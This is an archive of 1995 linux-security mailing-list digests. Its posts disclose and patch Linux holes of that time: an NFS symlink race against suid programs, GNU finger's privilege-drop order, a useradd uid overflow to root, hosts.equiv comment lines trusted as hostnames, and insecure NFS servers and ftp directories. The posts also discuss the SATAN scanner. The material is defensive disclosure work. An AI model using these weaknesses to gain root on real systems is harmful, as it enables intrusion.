Hamburg, Germany Email: [email protected] Phone: +49 40 54715-262 Fax: +49 40 54715-241 PGP-Key available via finger [email protected] or any key-server - -----BEGIN PGP SIGNATURE----- Version: 2.6.i iQCVAgUBL2g5dQQmfXmOCknRAQFtTAP/WN2l4MdVvlgKaFR3MBDx8kdtg8i+4T8f rR+j4ZC1I169FfzmIsRd8qdBMw144NWuKRo2cexjESSCVOxbKlaAIaPMT8FtZ+wo e1lnVoM0FaFsFv3cxWyjR+403erKSpPv3SRBMYN+eJ3gYZw2a7y5YKLwGuku9Zh5 grYRyOwx2fU= =ONqd - -----END PGP SIGNATURE----- ------------------------------ From: Yossi Gottlieb Date: Thu, 16 Mar 1995 16:46:34 +0200 (GMT+0200) Subject: Re: Linux NFS client > > possibility for race conditions exists. For example, with current CLIENT > > implementation, it is possible to open a file on an NFS filesystem and while > > the file is open, erase it, and immediately replace it with a symlink. The > > symlink gets the same inode and most important, the same file handle of the > > original file (it may not necessarily be so, and depends on the server). Any > > futher writes to the file will go thru the symlink. > > This is correct. Security is entirely the server end responsibility. In your > example if the symlink pointed to a read-only file the write would return > with an error. This is one of the areas where NFS does not have Unix semantics > > If you can do that write to a read only file, notify your vendor, report it > to cert and get a fix. What about suid programs? In their case, the critical part (on regular fs) is until a file is open; once it's open, there's no way to replace the file with a symlink, etc. On NFS this is not true. Tricking an suid root program will allow write on any file (unless the filesystem is exported with no root access)... that's under Linux, no vendor to notify... :) > > btw Perhaps the SunOS nfsd have this behaviour, anybody can confirm/deny? > > While experimenting wit SunOS, I've noticed that whenever I try to replace > > an open file, any further writes to it causes a 'NFS Write Error' be sent > > to syslog, even though the syscall does not indicate any problem. > > Thats because SunOS NFS works correctly. 8) SunOS NFS doesn't have the problem since the Sun NFS server doesn't 'recycle' filehandles. I suspect it achives this by keeping a random number on the inode record (on disk), and creates a new number whenever an inode is allocated. When creating a filehandle, it stuff that number into the fh together with the inode number, that's why create-erase-create won't return the same filehandle, even if the same inode is used. Can't prove this yet, though... :) yossi. ------------------------------ From: "Ian Soboroff (BS CMSC)" Date: Thu, 16 Mar 1995 11:42:11 -0500 Subject: patch archive [long moderator's note attached] is there someone who is archiving these various patches and suggestions? this is important for a couple reasons: 1) no one is going to pull every patch posted, and murphy's law dictates they won't pull the patch they need three weeks later. 2) it will limit redundancy... instead of resurrecting the recursive finger or ages-old nfs hole threads every few months, we can point to the security-patch archive. ian +---------------+------------------------------------------------------+ ! Ian Soboroff ! "When you have learned to snatch the error code from ! ! [email protected] ! the trap frame, it will be time for you to leave." ! +----------------------------( http://gl.umbc.edu/~ian/ )--------------+ - -- [Mod: All traffic on these lists is archived on the list-server. It is also indexed by "contents" and by "topics"--the indexes are updated nightly at 3:45AM EST. The "topics" index shows all subjects (as they appear in the "Subject:" header of a message) and the archive file(s) that the subject appears in. The "contents" index shows the reverse; it lists all the archive files, and for each file it shows all the subjects that appear in that file. For the security list, each day's traffic appears in a separate archive file. For the alert list, each month's traffic appears in a separate archive file (since it's very low-traffic). For the digest lists, each digest sent is archived as a separate file. To retrieve these files, send mail to "[email protected]" with a message containing a body of: get linux-security CONTENTS If you want the "topics" list, use "TOPICS" vice "CONTENTS". If you want the files for a different list, use the appropriate list as the first argument after the "get". If you see a subject of interest in the index file(s) and want to retrieve that whole file, use the filename (as listed in the index) in place of the "TOPICS" or "CONTENTS" argument. To see all the files that are in the archive for a particular list, send a message body of (using the appropriate list-name): index linux-security I plan on adding a feature that will provide similar indexes based on "Keywords:" headers, so we can make it easier to search for patches and the like (assuming that people take the time to add a "Keywords:" header to their posts). Since this capability is not yet in place, I would like to ask all posters of patches to put the string "PATCH (filename):" at the beginning of their subject line when posting patches to the list--this will make it *much* easier to find and retrieve patches from the archive. Thanks! --Jeff] ------------------------------ From: Robert Millner Date: Fri, 17 Mar 1995 12:41:02 -0500 (EST) Subject: SSL protocol Hello. Has there been any discussion on creating an implementation of Secure Socket Layer (see http://home.mcom.com/info/SSL.html) or some permutation of that idea under Linux? This couldn't really be done for mainstream linux use due to export restrictions (as far as I can tell) but it still looks interesting as an experiment. Mcom licenses out a library already that will do this. In leu of dealing with them and RSA, could this be done with RSAREF and some hacking from the PGP source (Still dealing with RSA but taking out the dependence on mcom). Rob - -- [email protected] | I am pentium of borg [email protected] | you will be approximated [email protected] | precision is futile Finger [email protected] for info and PGP public key. ------------------------------ From: [email protected] (Olaf Kirch) Date: Fri, 17 Mar 1995 20:30:11 +0100 (MET) Subject: File Permission Checker Hello everyone, I've put a up small perl-based utility for FTP that looks for bad file permissions based on a (rather simple) configuration database. It's not highly sophisticated, and I'm sure Larry Wall wouldn't approve of the way I code perl, but it works for me. It checks for file ownership and permissions, and searches the file system for suid/sgid programs. It's entirely undocumented, so the only way to find out about the various functions of the database entries is by playing with it, meditation, or reading the source. The files currently listed in the sample configuration database comprise the BSD networking stuff, smail, INN, XFree86, and some more. You may not always agree with my choice of acceptable and required permission bits, but then, it's only an example of what such a beast might look like. There are also a couple of utilities I didn't list; most notably the small zoo of tiny tools that manipulate the console that are all suid root on my machine (I feel I may have old versions floating around here..). Despite its 300-something entries it's not complete yet. It's all still rather sketchy, and the database syntax definitely could be improved. I don't have much time to spare for this right now, unfortunately. I invite anyone to try their hands on this. If people know of standard permission holes in one of the common distributions that the script fails to notice, please let me know. Here's the FTP location: linux.nrao.edu:/pub/people/okir/kitten/kitten-0.1.tar.gz (Okay, so my puns are bad. Sue me:-) Enjoy, Olaf - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax ------------------------------ From: Benedikt Stockebrand Date: Tue, 14 Mar 1995 01:40:36 +0100 Subject: DIP suid security problem I don't know if this is already known but the Slackware 2.1.0 distribution has a security problem with dip (dip-3.3.7i) set suid root and world executable. Using the -v option shows you the password used to connect to the remote host. Ben - ----------------------------------------------------------------------- Benedikt (Ben) Stockebrand ([email protected]) Dortmund, Germany And don't tell me about Benedict Arnold anymore... - ----------------------------------------------------------------------- ------------------------------ From: Elias Levy Date: Sat, 18 Mar 1995 11:21:52 -0800 (PST) Subject: GNU finger 1.37 executes ~/.fingerrc with gid root (fwd) This may be interesting to linux admins. Enjoy. [email protected] (Elias Levy) PowerNet, Inc. - ---------- Forwarded message ---------- Date: Fri, 17 Mar 1995 12:42:02 +0100 (MET) From: Thomas Roessler To: [email protected], [email protected] Cc: Thomas Roessler Subject: GNU finger 1.37 executes ~/.fingerrc with gid root There is a bug in the `lib/site/userinfo.c' module of GNU finger version 1.37 allowing any user on a system to execute arbitrary commands with gid root from ~/.fingerrc. The problem is that GNU finger *first* changes its userid thus giving away root privileges and *then* tries to change its gid which will not succeed. Greetings, Thomas *** userinfo.c.orig Fri Mar 17 12:12:28 1995 - --- userinfo.c Fri Mar 17 12:12:37 1995 *************** *** 241,262 **** dup (fileno (*streamp)); } if (fileno (*streamp) != 2) { close (2); dup (fileno (*streamp)); } /* Set uid/gid */ - - setuid (user->pw_uid); setgid (user->pw_gid); /* Set default directory */ chdir (user->pw_dir); /* Run ~/.fingerrc through user shell */ #ifdef FINGERRC_SHELL execlp (FINGERRC_SHELL, FINGERRC_SHELL, "-c", file, NULL); #else execlp (user->pw_shell, user->pw_shell, "-c", file, NULL); #endif - --- 241,262 ---- dup (fileno (*streamp)); } if (fileno (*streamp) != 2) { close (2); dup (fileno (*streamp)); } /* Set uid/gid */ setgid (user->pw_gid); + setuid (user->pw_uid); /* Set default directory */ chdir (user->pw_dir); /* Run ~/.fingerrc through user shell */ #ifdef FINGERRC_SHELL execlp (FINGERRC_SHELL, FINGERRC_SHELL, "-c", file, NULL); #else execlp (user->pw_shell, user->pw_shell, "-c", file, NULL); #endif - -- [email protected] * [email protected] MURPHY'S LAW: If anything can go wrong, it will. ------------------------------ From: [email protected] Date: Sat, 18 Mar 1995 12:29:53 GMT Subject: list of vulnerable programs Hi, I think it would be useful if a members of this list compiled a little overview of Linux security problems that we have seen over the last few years. The list is still short enough to manage and in that way we know if we have caught up with the problems. It would be particularly important to know if main distributions such as slackware have replaced problematic programs. I suggest the following format (please improve on it if you feel like it): Vulnerable binary: smail Date of discovery: 10-10-94 Patched source and binaries: sunsite.... Distributions which are not patched: braam-linux Patched distributions: slackware 1.2. (of oct 11 and later) (hopefully) Peter [mod: If someone would volunteer for it, please contact Jeff and me. How about you, Peter? ;) --okir] ------------------------------ End of linux-security-digest V1 #13 *********************************** linux-security-digest/1995/v01.n014100664 1767 1767 20474 5735224621 16060 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #14 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Sunday, 26 March 1995 Volume 01 : Number 014 Re: list of vulnerable programs List archives now available via FTP. shadow-3.3.1 useradd bug IP firewall users: upgrade from kernel 1.2.0 to 1.2.1. Skey use with Linux Re: Skey use with Linux Slackware ---------------------------------------------------------------------- From: Jeff Uphoff Date: Sat, 18 Mar 1995 19:47:05 -0500 Subject: Re: list of vulnerable programs "b" == braam writes: b> I think it would be useful if a members of this list compiled a little b> overview of Linux security problems that we have seen over the last b> few years. The list is still short enough to manage and in that way we b> know if we have caught up with the problems. I've been considering (I've mentioned it to Olaf) starting work on a "Linux Security FAQ." Part of it would list past problems, etc., as well as pointers to various different security-related resources. It's not yet started though; I don't have the time to do it myself, so I'm looking for people willing to put some time in and contribute information on various topics, as well as suggest what topics should be covered. linux.nrao.edu's FTP server could be a drop-off point for this--I can add a branch to the incoming area for security stuff if people want to contribute. b> It would be particularly important to know if main distributions such b> as slackware have replaced problematic programs. This is not something I'd thought of--but it's definitely a good idea! b> [mod: If someone would volunteer for it, please contact Jeff and me. How b> about you, Peter? ;) --okir] Now look what you've gotten yourself into! :)~ - --Up. ------------------------------ From: Jeff Uphoff Date: Tue, 21 Mar 1995 19:22:47 -0500 Subject: List archives now available via FTP. The archives of the Linux-security mailing lists: linux-alert linux-alert-digest linux-security linux-security-digest are now available via anonymous FTP under: linux.nrao.edu:/pub/linux/security/list-archive They are also still available via e-mail through the Majordomo server. - --Up. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ ------------------------------ From: Marek Michalkiewicz Date: Wed, 22 Mar 1995 20:33:56 +0100 (MEZ) Subject: shadow-3.3.1 useradd bug The useradd command will (by default, without -u) create a new user with uid at least 100, and higher by 1 than the highest existing uid. Suppose you have user "nobody" with uid 65534. Then create two new users - the first will have uid 65535, the second will overflow, and the uid will be 0. You know what this means... This may or may not be fixed in 3.3.2 - I don't know. I was unable to find 3.3.2 (with the new, less restrictive copyright) on Linux ftp sites and there were too much users on ftp.uu.net at the moment. Regards, - -- Marek Michalkiewicz [email protected] || [email protected] ------------------------------ From: [email protected] (Andrew Cromarty) Date: Wed, 22 Mar 95 11:35 PST Subject: IP firewall users: upgrade from kernel 1.2.0 to 1.2.1. Users of IP firewalling and the Linux 1.2.0 kernel will want to upgrade. From Russell Nelson's "Kernel change summary 1.2.0 -> 1.2.1" posting in c.o.l.announce: "Updated and corrected firewalling code: the plain 1.2.0 firewall code is simply broken. 1.2.1 is a must if you're firewalling." Forewarned is forearmed. asc ------------------------------ From: "Richard W. Carr" Date: Wed, 22 Mar 1995 05:33:25 -0800 (PST) Subject: Skey use with Linux [mod: Please respond to the author directly. Richard, can you post a summary of all replies? --okir] Hi folks, I've spent the past several weeks trying to get skey working on my linux box. I've been successful in getting skey to compile and even run correctly however, I've found one problem with it. Skey on my Linux box will always generate one-time passwords which are different than those generated on a Sun Sparc station. I've actually tried a couple of different versions of skey and I consistantly get the same results. Has anyone else experienced this problem and is anyone aware of a solution? I really need to get skey working on my Linux box so I can connect with other sites running Sparc stations which require skey. I have been using skey on Sun systems for quite some time and I have never experienced a problem such as this. Any help anyone can provide me will be greatly appreciated. I am aware of at least one other person who is also having this same problem. Now for the details: Linux 1.2.1 (and earlier version back to 1.1.76) Skey-1.1b (Linux version) (Same version on Suns) PPP-2.1.2b ------------------------------ From: "Richard W. Carr" Date: Thu, 23 Mar 1995 13:46:01 -0800 (PST) Subject: Re: Skey use with Linux I'd like to thank everyone for the responses I received on my question regarding s/key. The folks on this list have really come through for me. To help others that may have similar questions, I'm posting a summary of all the responses I received to my query. Of particular note; I was informed that a new release of s/key is due out within the next few weeks from NRL. The NRL package should be much more portable and easier to compile and configure. (The technical work was done a long time ago; they've been in legal wait for a few months, but I ["Theodore Ts'o"] was assured that it should hopefully be out before the upcoming IETF meeting.) Now for the rest of the information I received: The difficulty is the result of a byte swapping problem. You need to specify whether your system is little-endian or big-endian in a #define statement. The mod is as follows: In md4.c: #if (defined(__MSDOS__) || defined(MPU8086) || defined(MPU8080) \ || defined(vax) || defined (MIPSEL)) #define LOWBYTEFIRST TRUE /* Low order bytes are first in memory */ #else /* Almost all other machines are big-endian */ #define LOWBYTEFIRST FALSE #endif #define LOWBYTEFIRST TRUE /* Low order bytes are first in memory */ Basically, Linux isn't defining anything that causes the #ifdef to be true, so you just force the issue. Now, key generates the same strings as all the other implementations (HP, Sun, DEC ALPHA, IBM AIX). Finally, at ftp://ftp.dhp.com/pub/crypto/skey/* You'll find key-linux-bin.gz, a binary that you can use to test the skey's generated. Also available is skey-md4.tar.gz, small hacks to get it working, and shadow-3.3.2-skey.tar.gz, more hacks that were done to incorporate skey into the shadow suite. ------------------------------ From: Elias Levy Date: Thu, 23 Mar 1995 23:39:46 -0800 (PST) Subject: Slackware This are a few things I ound on a fairly clean Slackware machine that bother me: * dip This will display any file you give it. * Under /dev: /dev/cua* has the right permissions but /dev/ttyS* does not. all the audio devices are mode 666. This means if you have a microphone people can hear the audio. * minicom.users file in the minicom lib direcotry comes with gonzo, satan and snake as examples/default. If you ever create such a user they can use minicom. (Not that it matters if you have a compiler and /dev/ttyS* mode 666) * VGA/X programs: the X servers, SuperProbe, vgaset, /usr/lib/svga/* /usr/bin/dumpreg, /usr/bin/fix132x43 This programs are all setuid and can mess your screen. You can do this to fix it: create group x then chmod root.x the offending programs, and chmod 4110 then. Ahh yes remember to add whom ever you want to let use X to group x. * pppd & dip: Havent checked yet but I belive anyone can start a dip or pppd connection this way. You can even give pppd a tty nd screw people. But I need to check (sorry if Iam crying wof) [email protected] (Elias Levy) PowerNet, Inc. ------------------------------ End of linux-security-digest V1 #14 *********************************** linux-security-digest/1995/v01.n015100664 1767 1767 3604 5737723607 16047 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #15 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Monday, 3 April 1995 Volume 01 : Number 015 Linux-security archive on the WWW. Re: Slackware ---------------------------------------------------------------------- From: Dane Jasper Date: Sun, 26 Mar 1995 01:03:38 -0800 (PST) Subject: Linux-security archive on the WWW. linux-security and linux-alert archives are now available at sonic.net. Connect to: http://www.sonic.net/hypermail/ Coming soon - fulltext search with glimpse. Dane ------------------------------ From: Sam Hartman Date: Sun, 26 Mar 1995 14:12:01 -0500 Subject: Re: Slackware [mod: As always, replies to Sam, please. Can you post a summary, Sam? --okir] While we're on the subject of Slackware bugs, I've noticed this being exploited on a system I help administer here at MIT, and it's present in the current distributions. First, enabled by default and ~ftp/incoming is writable by user ftp. This is unfortunate, because the ftpd shipped with Slackware supports site chmod. If a group of friendly software distribution experts want to borrow some of your diskspace, they generally do something along the lines of creating ~ftp/incoming/.unreadable. They then chmod this directory (owned by ftp who created it) to 700. The user I was dealing with then created a directory name that was all backspaces, and then set up a pirate files subtree under this new directory. I really don't know of a secure way of setting up an incoming directory for anonymous ftp with the Linux ftpd, as I can't figure out how to disable site chmod or mkdir. - --Sam ------------------------------ End of linux-security-digest V1 #15 *********************************** linux-security-digest/1995/v01.n016100664 1767 1767 50731 5741473251 16063 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #16 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Saturday, 8 April 1995 Volume 01 : Number 016 (fwd) security hole in Yggdrasil Linux Re: security hole in Yggdrasil Linux security hole in old versions of at for Linux Report: LINUX and SATAN SATAN /etc/hosts.equiv in Slackware 2.2.0 and earlier LINUX FAQ Update (Linux and NFS) Re: LINUX FAQ Update (Linux and NFS) SATAN information ---------------------------------------------------------------------- From: Gary Anderson Date: Mon, 3 Apr 1995 01:31:47 -0400 Subject: (fwd) security hole in Yggdrasil Linux [mod: Gary posted this to linux-alert, but I want to get some comment from Yggdrasil on this before we make an alert. Note that currently, this claim is unproven. Thought you should know this nevertheless. --okir] Don't know if this is valid or not (I don't run Yggdrasil), but just pulled this from comp.security.misc. Thought I'd pass it along, just in case. Gary [email protected] >From: [email protected] (Shawn W. Laemmrich) >Newsgroups: comp.security.misc >Subject: security hole in Yggdrasil Linux >Date: 2 Apr 1995 11:38:17 -0400 >Organization: Michigan Technological University >Lines: 13 >Message-ID: <[email protected]> >NNTP-Posting-Host: fishlab3.fsh.mtu.edu >X-Newsreader: TIN [version 1.2 PL2] >Just writing this to inform everyone out there that there is a MAJOR hole in >the security of Yggdrasil's release of linux. They have coded in a backdoor >that is common to all their releases. THey have created an extra root user >and hidden it. THey claim it was done in case your system went down, and you >aasked them to fix it, and forgot to give them the root password. In reality, >once someone knows this password (not real hard to guess) they have root >access on all machines running Yggdrasil Linux. I believe(but am not posative) >that upgrading your kernal to a non-yggdrasil release will elimonate this >-- >--------------------------------------------------------------------------- >|| Shawn Laemmrich Internet: [email protected] || >--------------------------------------------------------------------------- ------------------------------ From: [email protected] (Adam J. Richter) Date: Mon, 3 Apr 95 02:41 PDT Subject: Re: security hole in Yggdrasil Linux In article <[email protected]>, Shawn W. Laemmrich wrote: >Just writing this to inform everyone out there that there is a MAJOR hole in >the security of Yggdrasil's release of linux. They have coded in a backdoor >that is common to all their releases. THey have created an extra root user >and hidden it. THey claim it was done in case your system went down, and you >aasked them to fix it, and forgot to give them the root password. In reality, >once someone knows this password (not real hard to guess) they have root >access on all machines running Yggdrasil Linux. I believe(but am not posative) >that upgrading your kernal to a non-yggdrasil release will elimonate this There was an accidental security whole in the Fall '94 release of Plug-and-Play Linux that caused machines on the internet to trust the trusted machines at Yggdrasil, fixable with "cp /dev/null ~root/.rhosts". See ftp.yggdrasil.com:pub/fall94/errata for more information. I suspect that that bug is the basis for the urban myth that is your posting. We have *never* deliberately put any kind of security hole or back door in any release of Plug-and-Play Linux or any other Yggdrasil product, and we never will. As a quick sanity check, I just mounted both the Fall '94 cd and the "December 1994" CD (a slightly updated version of the Fall '94 cd), and checked both /ramdisk/var/etc/passwd and /dup_ramdisk/var/etc/passwd. Nothing unusual. If you believe that you have found a security hole, please report it to us immediately. Your story that "[Yggdrasil] claim that it ws done in case your system went down" is ridiculous. Just to check my own sanity, I will have a meeting with everyone at the office on Monday morning to find out if anyone can possibly recall making a statement like the one you described. Did you personally talk to someone at Yggdrasil? If not, who told you this incredible story? I want to find the source of this damaging rumor. Please substantiate or retract your statements immediately. ------------------------------ From: [email protected] (Thomas Koenig) Date: Mon, 3 Apr 1995 22:59:00 +0200 (MET DST) Subject: security hole in old versions of at for Linux [I think this is -announce - stuff. Thomas] I've just been informed that earlier versions of my at/atrun package for Linux had a bug which allowed root access for any authorized user of the system. This bug can only be exploited if the user can edit a job he's submitted to the atrun queue. If 'at -V' shows a version earlier than 2.7, or if the directory /var/spool/atjobs (or, possibly, /usr/spool/atjobs) is world - executable, you are vulnerable. In that case, upgrade your system to at 2.7 or 2.7a immediately. In the meantime, changing the permissions of /var/spool/atjobs to 700 will prevent unauthorized root access; this may also render the 'at' system unusable. Non - vulnerable versions of at have been around for about 10 months, and have been included in the standard distributions. - -- Thomas Koenig, [email protected], [email protected]. The joy of engineering is to find a straight line on a double logarithmic diagram. ------------------------------ From: "Alexander O. Yuriev" Date: Wed, 5 Apr 1995 22:00:16 -0400 (EDT) Subject: Report: LINUX and SATAN Hi, Here's the report. As Temple still does not have any position about SATAN, I can't say that this part of Linux security FAQ is written by me. Best wishes, Alex ============================================================================ SATAN and Linux LINUX SECURITY FAQ UPDATE April 5, 1995, 22:30 EST I think that it is fair to say now that the SATAN toolkit that was released today was not worth all the talks about it. On other hand it did provide the tool to efficiently analyze security of Linux systems. The following is a brief report. QUESTION: Does the Satan run on Linux? ANSWER: Yes it does. The default Satan configuration for Linux is unusable. In order to compile parts of Satan on Linux you will need to obtain SunOS's /usr/include/netinet/ip.h and /usr/include/netinet/ip_icmp.h. Use these files instead of Linux ip.h and ip_icmp.h. You will also need to change name of variables in in the udp_scan.c QUESTION: What can be said about security of Linux systems in general? ANSWER: Of 174 systems scanned, 17 (10%) had a problem with anonymous ftp and 5 with the Universal NFS Server 2.0. Olaf Kirch's server version 2.1 was not detected as the one having holes. QUESTION: Does Courtney-1.2 detect SATAN's attacks? ANSWER: NO IT DOES NOT! Courtney-1.2. was not able detect any total 500 attacks made against network of DEC Alphas, Sun's and Linux systems. ============================================================================= WARNING: YOU HAVE TO UPDATE THE DEFAULT NFS SERVER THAT COMES WITH SLACKWARE 2.1.0 ============================================================================= [Mod: The newly-released Slackware 2.2.0 also still uses this woefully insecure NFS server (version 2.0). --Jeff.] ------------------------------ From: Thomas Briggs Date: Thu, 6 Apr 1995 01:32:24 -0500 (EST) Subject: SATAN I just wanted to agree with the message that came through about SATAN not worth the hype, but there is another warning that SATAN found on my system involving the sendmail revision. Apparently the Infomagic CD-ROM distribution 2.2.0 still has the old sendmail, and SATAN picked this up. I was impressed. Out of a Linux box, two Suns, and a SYSV machine, Linux faired second best (the SYSV machine scored top). Suns were not impressive. "Cutter has crashed, again!" - S. Hooper, 1994 "NOT!" - Wayne and Garth, 1991 |Tom Briggs +----------------------------+ Cutter : Its not just a computer. |Shippensburg University of Pennsylvania | Its a P-90,Linux 1.2.1,telnet,AFTP |primary address: [email protected]+---------+ gopher,http,nfs,identd, |secondary address: [email protected]| pine,rtin,F90,lisp,C/++, +--------------------------------------------------+ IPX kind of adventure! [Mod: If you find anything interesting that SATAN detects on your Linux system, particularly if it is something that comes with a standard distribution, please drop us an e-mail with details. We'll try to compile a summary of things that SATAN can find wrong with common Linux configurations. If you find something wrong with your own homebrew "distribution" running hybrid SLS-1.0/binaries-from-1993/etc. though, we're not going to be especially interested... --Jeff.] ------------------------------ From: Erik Nygren Date: Thu, 06 Apr 1995 19:44:54 -0400 Subject: /etc/hosts.equiv in Slackware 2.2.0 and earlier Hello, The default /etc/hosts.equiv file in Slackware 2.2.0 and in earlier versions contains comment lines which are not parsed by the parser in libc. As a result, any machine with the hostname "#" can gain unauthorized remote root access to any affected machine in the domain. I have not been able to test this so my conclusion may not be accurate. Looking at libc-linux/inet/rcmd.c which parses this file, I can find no attempts to handle lines starting with "#" in any special matter. It is likely that such lines will be taken as specifying trusted hostnames. The hostname "#" is not RFC-compliant but that does not mean that someone can't use it. Here is the contents of hosts.equiv in Slackware 2.2.0. A very similar file is used in Slackware 2.0.0: - ----------- START /etc/hosts.equiv ----------- # # hosts.lpd This file describes the names of the hosts which are # to be considered "equivalent", i.e. which are to be # trusted enought for allowing rsh(1) commands. # # Version: @(#)/etc/hosts.lpd 2.00 04/30/93 # # Author: Fred N. van Kempen, Date: Thu, 6 Apr 1995 19:47:34 -0400 (EDT) Subject: LINUX FAQ Update (Linux and NFS) ***************CUT HERE******************************CUT HERE************** NFS and Linux LINUX SECURITY FAQ UPDATE April 6, 19:50 EST Copyright (C) 1995 Alexander O. Yuriev CIS Laboratories, TEMPLE UNIVERSITY (CREDITS: Olaf Kirch and Jeff Uphoff) This is not a release of Linux Security FAQ. It is just an urgent update that has to be published because of the fact that many Linux system administrators are not aware of this problem. LINUX SYSTEM AS NFS CLIENT The Network File System support in Linux is split into two parts. As a client, Linux has ability to access NFS volumes using nfs support incorporated into the kernel. Presently, it is unknown if Linux kernel is vulnerable to spoofed information. There are as yet no incidents known to Olaf Kirch, Jeff Uphoff or me. LINUX SYSTEM AS NFS SERVER In order to provide NFS service, Linux system has to run a set of 3 programs: * Portmapper (rpc.portmap) Mount Daemon (rpc.mountd) * NFS Server (rpc.nfsd) Two of these 3 programs have *BIG* problems in all Slackware Linux distributions, that according to Jeff Uphoff includes Slackware 2.2.0 that was recently released. _All_ distributions released before March 12, 1995 are subject to one or more of those holes, as are many released after that date. Linux Portmapper (rpc.portmap) We are not aware of any Linux distribution that does not have a hole in a portmapper. You will also need tcp wrapper library to compile it. Linux NFS Server The Universal NFS Server used by Linux distributions is known to have *BIG* holes, including incorrect implementation of (root_squash) and virtually no authentication. The most secure Linux NFS Server as of today is Universal NFS Server 2.2 patched by Olaf Kirch. Linux Mount Daemon There are no known problems with Linux mount daemon by itself. The problem was the nfsd 2.0 had a hole that allowed to remote site to access entire tree of a partition even when rpc.mountd was not running at all. FIXES AND PATCHES Secure portmapper: ftp://linux.nrao.edu/pub/linux/security/nfsd/portmap-3.tar.gz Universal NFS Server 2.2alpha3 ftp://linux.nrao.edu/pub/linux/security/nfsd/nfs-server-2.2alpha3.tar.gz ***************CUT HERE******************************CUT HERE************** ============================================================================= CIS Laboratories email: [email protected] TEMPLE UNIVERSITY [email protected] USA Tel: 1-800-DEV-NULL ============================================================================= ------------------------------ From: Jeff Uphoff Date: Thu, 6 Apr 1995 21:50:04 -0400 Subject: Re: LINUX FAQ Update (Linux and NFS) I meant to add this as a side note on my forwarding of Alexander Yuriev's post, but didn't remember to do so until *after* I'd hit the send key: Alexander's recent mention in a post regarding SATAN of the (now-known-for-a-month) NFS server hole has caused his mailbox to become saturated with information requests. The information contained in his FAQ snippet (he's currently working on writing a Linux-security FAQ) is the basic information that you need, including a pointer to patched versions of the portmapper and the NFS-server on linux.nrao.edu (the patches are by Olaf Kirch). The word on this NFS hole was passed to both the linux-security and linux-alert lists in early/mid March, but apparently a lot of people out there missed it. Please take it easy on Alex's mailbox out there, OK? :)~ - --Up. Note: Updates to this server will be released at linux.nrao.edu:/pub/people/okir/nfsd and fb0433.mathematik.th-darmstadt.de:/pub/linux/okir - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ ------------------------------ From: [email protected] (Olaf Kirch) Date: Sat, 8 Apr 1995 02:35:22 +0200 (MET DST) Subject: SATAN information [mod: This is a draft for general information about SATAN vs. Linux. Right now, I'm posting this only to linux-security in case people have something to add. I'd like to make this more widely available later if necessary. --okir] SATAN is like a gun, and this is handing a gun to a 12-year old. LA Times according to the SATAN docs What is SATAN? - -------------- The acronym stands for Security Analysis Tools for Auditing Networks. The core of SATAN is a set of scripts that can run various security checks on one or more remote hosts and display the output with an HTML viewer. On one hand, this lets relatively inexperienced system administrators check their system for security holes; on the other hand, it lets the average wannabe-cracker find out about them too. BUT: this does not mean SATAN actually helps people break into your system. It shows where the weak spots are and tells you what the problem is, but it never actually breaks into a system. And unless you really know what you're doing, the tools in SATAN won't even help you a lot in cracking someone else's system. To understand some of the information presented by SATAN, it may be useful to know that one of the central concepts in SATAN is trust. In this context, the term describes the ability of processes on a remote host to access services on the machine in question. Letting users from host foobar.com log in without password is one special form of trust; but SATAN considers letting them log in *at all* an act of trust, too. For more information, please refer to the online documentation that comes with SATAN. What problems does SATAN probe for? - ----------------------------------- Here's a list of things SATAN probes for: * Scan UDP and TCP ports for interesting services. * Scan the portmapper for interesting services. * Availability of the rex RPC service * World-exported NFS volumes. * Ability to mount NFS volumes either directly from mountd or through a portmapper proxy call. * Ability to access files in /etc through TFTP. * Writable FTP home directory. * X servers allowing unauthenticated access. * Wildcard hostname in /etc/hosts.equiv. * Probing host's name in /etc/hosts.equiv. * sendmail prior to version 8.6.10. Please note that this list is incomplete. There are a few other things SATAN checks for that I either found not interesting enough to mention or I was too stupid to notice. All in all, these checks are by no means a gun in the hands of a minor. Fixes to problems reported by SATAN - ----------------------------------- Here are fixes to various problems SATAN may complain about when probing a Linux box. rex: I'm not aware of any rex implementation for Linux. If you have one, disable it. (Note: RPC-based rex service is *not* the same as rexec, which is based on plain TCP). NFS: * World-exported NFS volumes: Usually not what you want. If you need to export a directory to a large number of hosts, use the wildcard feature of Linux nfsd. To avoid IP address spoofing, either set `nospoof on' in /etc/host.conf or get the latest nfsd. * Mounting NFS volumes through the portmapper: Get portmap_3. You can compile portmap_3 both with tcp-wrapper access and without. In the former case, you'll also need libwrap.a from the tcp_wrapper package. TFTP: If you don't need tftp, disable it in inetd.conf. If you do need it, make sure to specify only those directories on the command line you actually wish to provide access to. FTP: Unlike much older documentation claimed, ftp's home directory should not be owned by ftp itself. Better chown it to root, ftpadmin, or whoever. If your run wu-ftpd, you may also want to consult the manpage about restricting specific operations such as MKDIR and CHMOD. X11: When using host-based access, never run `xhost +'. If possible, use user-based authentication such as MIT-MAGIC-COOKIE. This is the default when logging in via xdm. With xinit, this requires some tweaking (See Volume 8 of O'Reilly's X series). hosts.equiv: * Wildcard hostnames are evil. Don't use them. * Normal trust is OK, I guess. SATAN will still complain about this under some circumstances, but this is often due to having things like `localhost' in hosts.equiv. sendmail: Run sendmail 8.6.10 or later. Linux and SATAN. - ---------------- To run SATAN on your Linux machine, you need to modify the source slightly. You can get patches for this from linux.nrao.edu:/pub/security or from fb0433.mathematik.th-darmstadt.de/pub/linux. Note: these patches are ugly, because I just hacked the linux IP header files until the field names agreed with what SATAN was expecting. They work for me, but they may not work for you. - --Olaf PS: For European users: I've also uploaded the latest version of nfsd to fb0433. If you have problems reaching NRAO, try to get it from there. - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah 